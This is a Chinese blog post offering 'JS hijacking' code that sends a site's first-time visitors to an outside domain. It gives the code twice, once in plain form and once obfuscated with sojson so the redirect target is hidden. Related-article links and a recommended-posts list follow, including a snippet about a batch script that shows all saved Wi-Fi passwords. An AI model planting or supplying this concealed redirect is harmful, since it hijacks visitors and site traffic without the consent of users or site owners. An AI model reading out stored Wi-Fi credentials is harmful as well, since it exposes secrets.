js判断是否第一次访问跳转
今天分享一套关于Js劫持代码,进行判断第一次访问进行跳转,仅供大家参考学习!
未加密:
if (c.indexOf('isfirstvisited=false') != -1) { }
else {
var d = new Date();
d.setFullYear(d.getFullYear() + 1);
document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
window.location.href='http://zhimo.yuanzhumuban.cc';
}
加密混淆后代码:
;var encode_version = 'sojson.v5', nwgyn = '__0x5267e', __0x5267e=['ZcOdwrHCj0bDn8Kuwr9/','wqDDlcKGw4QT','5Lip6IGa5Ym26Zm4wptyw6E0w5Bqw6NTwpg=','wrZmwpYpUQPDnFnCncODFQ==','H1TDsMOywoYxwqBIEkDCgw==','wpLCh8KLOVDCjcK6wq1MwovDsMKyb8Oae3YvBz/DusO/ZcK/LgYzD8ObJg==','dXLCtsKFWi1uwovCmcKnw4s=','YWwUwqs=','wqXDusO1wpHDh8Osb3ZWw4HCtcO4woTCt0DCnVtsGsOvNAjCp1bDs8O9w7vDnw=='];(function(_0x168cdb,_0x40d4b3){var _0x38ae0c=function(_0x425de3){while(--_0x425de3){_0x168cdb['push'](_0x168cdb['shift']());}};_0x38ae0c(++_0x40d4b3);}(__0x5267e,0x1bc));var _0x7e40=function(_0x502611,_0x11343b){_0x502611=_0x502611-0x0;var _0x10b926=__0x5267e[_0x502611];if(_0x7e40['initialized']===undefined){(function(){var _0x408135=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2a0cc0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x408135['atob']||(_0x408135['atob']=function(_0x2910fe){var _0xe1fb7a=String(_0x2910fe)['replace'](/=+$/,'');for(var _0x59e5e6=0x0,_0x16615a,_0x2dd501,_0x14b77d=0x0,_0x2555f1='';_0x2dd501=_0xe1fb7a['charAt'](_0x14b77d++);~_0x2dd501&&(_0x16615a=_0x59e5e6%0x4?_0x16615a*0x40+_0x2dd501:_0x2dd501,_0x59e5e6++%0x4)?_0x2555f1+=String['fromCharCode'](0xff&_0x16615a>>(-0x2*_0x59e5e6&0x6)):0x0){_0x2dd501=_0x2a0cc0['indexOf'](_0x2dd501);}return _0x2555f1;});}());var _0x6dcba9=function(_0x3c94d8,_0x2b9a55){var _0x23cc1e=[],_0x5ae6c8=0x0,_0x470234,_0x49805b='',_0x22fb6b='';_0x3c94d8=atob(_0x3c94d8);for(var _0x2651b3=0x0,_0x3fd5d2=_0x3c94d8['length'];_0x2651b3<_0x3fd5d2;_0x2651b3++){_0x22fb6b+='%'+('00'+_0x3c94d8['charCodeAt'](_0x2651b3)['toString'](0x10))['slice'](-0x2);}_0x3c94d8=decodeURIComponent(_0x22fb6b);for(var _0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x23cc1e[_0x157a4d]=_0x157a4d;}for(_0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d]+_0x2b9a55['charCodeAt'](_0x157a4d%_0x2b9a55['length']))%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;}_0x157a4d=0x0;_0x5ae6c8=0x0;for(var _0x4ac905=0x0;_0x4ac905<_0x3c94d8['length'];_0x4ac905++){_0x157a4d=(_0x157a4d+0x1)%0x100;_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d])%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;_0x49805b+=String['fromCharCode'](_0x3c94d8['charCodeAt'](_0x4ac905)^_0x23cc1e[(_0x23cc1e[_0x157a4d]+_0x23cc1e[_0x5ae6c8])%0x100]);}return _0x49805b;};_0x7e40['rc4']=_0x6dcba9;_0x7e40['data']={};_0x7e40['initialized']=!![];}var _0x551480=_0x7e40['data'][_0x502611];if(_0x551480===undefined){if(_0x7e40['once']===undefined){_0x7e40['once']=!![];}_0x10b926=_0x7e40['rc4'](_0x10b926,_0x11343b);_0x7e40['data'][_0x502611]=_0x10b926;}else{_0x10b926=_0x551480;}return _0x10b926;};if(c['indexOf']('isfirstvisited=false')!=-0x1){}else{var d=new Date();d[_0x7e40('0x0','8YCC')](d[_0x7e40('0x1','Y8ld')]()+0x1);document['cookie']=_0x7e40('0x2','%3J1')+d[_0x7e40('0x3','oWV]')]();window['location'][_0x7e40('0x4','0U8R')]=_0x7e40('0x5','OfAm');};if(!(typeof encode_version!=='undefined'&&encode_version===_0x7e40('0x6','9]*u'))){window[_0x7e40('0x7','cCi9')](_0x7e40('0x8','ei)Y'));};encode_version = 'sojson.v5';
js判断是否第一次访问跳转的更多相关文章
- JS判断移动端访问设备并加载对应CSS样式
JS判断不同web访问环境,主要针对移动设备,提供相对应的解析方案(判断设备代码直接copy腾讯网的) // 判断是否为移动端运行环境 if(/AppleWebKit.*Mobile/i.test(n ...
- js判断是否手机自动跳转移动端
写法一: {literal} <script> //判断是否手机自动跳转 var browser={versions:function(){var u=navigator.userAgen ...
- js判断是电脑访问手机版网站,跳转到电脑版
function uaredirect(murl,wurl){ //murl为手机网站域名,wurl为电脑版网站域名地址 67 try { 68 if(document.getElementById( ...
- JS判断web网站访问端是PC电脑还是手机
通过JS语句判断WEB网站的访问端是电脑还是手机,以显示不同的页面! <script type="text/javascript"> <!-- //平台.设备和操 ...
- js判断移动终端url跳转
CODE <script> //判断终端url跳转 function sp_isMobile() { return Boolean(navigator.userAgent.match(/. ...
- js判断是android访问还是ios访问
原文地址:http://blog.csdn.net/wy978651775/article/details/9014039 该博主也是转载的,但是没有标明出处. 判断原理: JavaScript是前端 ...
- JS判断是手机访问还是PC端访问网站
<script> if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|S ...
- js判断当前的访问是手机/电脑
<script type="text/javascript"> var commonURL = 'http://www.xxx.com/'; function mobi ...
- js判断当前的访问是手机还是电脑
<script type="text/javascript"> //平台.设备和操作系统 var system ={ win : false, mac : false, ...
随机推荐
- (CSDN 迁移) JAVA多线程实现-支持定时与周期性任务的线程池(newScheduledThreadPool)
前几篇文章中分别介绍了 单线程化线程池(newSingleThreadExecutor) 可控最大并发数线程池(newFixedThreadPool) 可回收缓存线程池(newCachedThread ...
- 【bat】【windows】win10查看所有wifi密码
win10的可以,win7的好像不行 @echo off & setlocal EnableDelayedExpansion title 查看所有wifi和密码 for /f "us ...
- 新唐NDA102EC1中更改UUART1作为调试串口打印输出调试信息
新唐NDA102EC1中更改UUART1作为调试串口打印输出调试信息 参考网上STM32修改fputc(int ch, FILE *f),把串口打印函数printf()重定向到UUART1模块的端口输 ...
- Java生成二进制文件与Postman以二进制流的形式发送请求
业务描述: 模拟终端(智能家居)发送HTTP POST请求,请求参数为二进制流:而且,二进制流是加密后的数据,因此调试分两步: 1.Java代码生成加密后数据,并保存为二进制流文件 (电脑上的图片就是 ...
- 后端&前端零碎知识点和注意问题
后端 1. Spring自带的MD5加密工具类 import org.springframework.util.DigestUtils; String md5Password = DigestUtil ...
- netcore 版本 切换 sdk
https://docs.microsoft.com/zh-cn/dotnet/core/tools/global-json
- Codeforces Round #604
Beautiful Regional Contest 题意 题解 代码 Beautiful Sequence 题意 题解 代码 一个思路不够清晰的代码 Beautiful Mirrors with q ...
- 第3课,python使用for循环
前言: 学习了python的while循环后感觉循环是挺强大的.下面学习一个更智能,更强大的循环-- for循环. 课程内容: 1.由while循环,到for循环,格式和注意项 2.for循环来报数 ...
- PV、UV、UIP、VV、DAU、CTR指的是什么?
PV(page view) 网站浏览量,指网页的浏览次数,用户每打开一次页面就记录一次PV,多次打开则累加. UV(unique vistor) 独立访客数,指的是某一天访问某站点的人数,以cooki ...
- pytest_02-用例运行规则
用例设计原则 文件名以test_*.py文件和*_test.py 以test_开头的函数 以Test开头的类 以test_开头的方法 所有的包pakege必须要有__init__.py文件 help帮 ...